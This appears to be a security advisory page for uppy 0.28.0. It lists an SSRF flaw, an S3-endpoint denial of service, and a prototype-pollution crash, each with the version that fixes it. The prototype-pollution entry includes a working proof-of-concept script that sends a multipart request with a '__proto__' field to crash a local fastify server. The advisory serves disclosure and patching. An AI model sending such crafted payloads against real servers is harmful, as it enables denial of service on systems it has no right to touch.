uppy@0.28.0 vulnerabilities

uppy is a sleek, modular JavaScript file uploader that integrates seamlessly with any application.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in isPrivateIP, which fails to check for IPv4-mapped IPv6 addresses.

Upgrade uppy to version 2.3.3 or higher.

uppy is a sleek, modular JavaScript file uploader that integrates seamlessly with any application.

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious user can access the S3 upload endpoint, which would cause the process to crash if S3 uploads are not configured.

This only affects Companion servers that do not have S3 uploads configured.

Upgrade uppy to version 1.26.1 or higher.

uppy is a sleek, modular JavaScript file uploader that integrates seamlessly with any application.

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to crash a remote server parsing multipart requests by sending a specially crafted request

PoC

const http = require('http')
const fastify = require('fastify')()
const options = {
    addToBody: true,
    onFile: (fieldName, stream, filename, encoding, mimetype, body) => {
        stream.resume();
    }
};
fastify.register(require('fastify-multipart'), options);
fastify.post('/', function (req, reply) {
    console.log(req.body.toString());
    reply.code(200).send();
});
fastify.listen(3000, () => {
    console.log(`server listening on ${fastify.server.address().port}`)
    const body =
        '--AaB03x\r\n' +
        'content-disposition: form-data; name="__proto__"; filename="file1.txt"\r\n' +
        'Content-Type: text/plain\r\n' +
        '\r\n' +
        '... contents of file1.txt ...\r\r\n' +
        '--AaB03x--\r\n';
    const r = {
        hostname: 'localhost',
        port: 3000,
        path: '/',
        method: 'POST',
        headers: {
            'content-type': 'multipart/form-data; boundary=AaB03x'
        }
    };
    const req = http.request(r, (res) => { });
    req.write(body);
    req.end();
});

Upgrade uppy to version 1.9.3 or higher.